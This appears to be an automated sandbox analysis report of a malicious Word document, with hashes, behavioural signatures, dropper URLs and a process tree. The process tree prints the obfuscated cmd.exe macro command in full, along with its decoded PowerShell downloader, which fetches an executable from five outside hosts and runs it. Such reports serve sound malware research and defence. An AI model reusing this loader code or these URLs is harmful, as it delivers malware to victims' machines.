Overview

overview

10

Static

static

8

11ef663bae...18.doc

windows7-x64

10

11ef663bae...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 08:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    11ef663bae36321a1d2137fc8c45b079_JaffaCakes118.doc
  • Size 139KB
  • Sample240504-kk8wpsgh41
  • SHA256 6ab699c210d50471133cb2037c7bcf54d31526bae47b6343b7bfd2d952a0a3bb
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://www.funtelo.com/58S1xJ09
  • exe.dropper

    http://www.shout4music.com/Kkt4CUPvX2
  • exe.dropper

    http://advustech.com/l5EcamTDy
  • exe.dropper

    http://www.ceeetwh.org/UZwh7EIWD6
  • exe.dropper

    http://www.gmlsoftware.com/itTZIne5M

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\11ef663bae36321a1d2137fc8c45b079_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4632
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:4404
        • C:\Windows\system32\cmd.exe
          CmD /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$SjG='Nal';$Okf=new-object Net.WebClient;$jGp='http://www.funtelo.com/58S1xJ09@http://www.shout4music.com/Kkt4CUPvX2@http://advustech.com/l5EcamTDy@http://www.ceeetwh.org/UZwh7EIWD6@http://www.gmlsoftware.com/itTZIne5M'.Split('@');$Fwu='YYi';$PsL = '975';$TQs='BiS';$ATF=$env:temp+'\'+$PsL+'.exe';foreach($vIc in $jGp){try{$Okf.DownloadFile($vIc, $ATF);$XwX='mmO';If ((Get-Item $ATF).length -ge 80000) {Invoke-Item $ATF;$jLi='AWI';break;}}catch{}}$zwz='Fac';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4076
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3488 --field-trial-handle=3088,i,14310325015283915034,7660943942870463106,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:1128

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            96CDAA3D.wmf
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\96CDAA3D.wmf
            • Size 502B
            • SHA256 42c3afea5352fa6d394469eabfc34e4bddfdcb4c93693ed4d7227a7b7ea8f558
            • MD5 SHA1 SHA512
            Submit Download

            __PSScriptPolicyTest_i5djv5z1.lg5.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i5djv5z1.lg5.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512
            Submit Download

            memory/4076-61-0x000002803A210000-0x000002803A232000-memory.dmp
            Download

            memory/5112-6-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-26-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-4-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-0-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-7-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-8-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-9-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-10-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-11-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-12-0x00007FFFB4610000-0x00007FFFB4620000-memory.dmp
            Download

            memory/5112-13-0x00007FFFB4610000-0x00007FFFB4620000-memory.dmp
            Download

            memory/5112-5-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-27-0x00007FFFF6D4D000-0x00007FFFF6D4E000-memory.dmp
            Download

            memory/5112-28-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-29-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download

            memory/5112-2-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-3-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-1-0x00007FFFF6D4D000-0x00007FFFF6D4E000-memory.dmp
            Download

            memory/5112-100-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-101-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-103-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-102-0x00007FFFB6D30000-0x00007FFFB6D40000-memory.dmp
            Download

            memory/5112-104-0x00007FFFF6CB0000-0x00007FFFF6EA5000-memory.dmp
            Download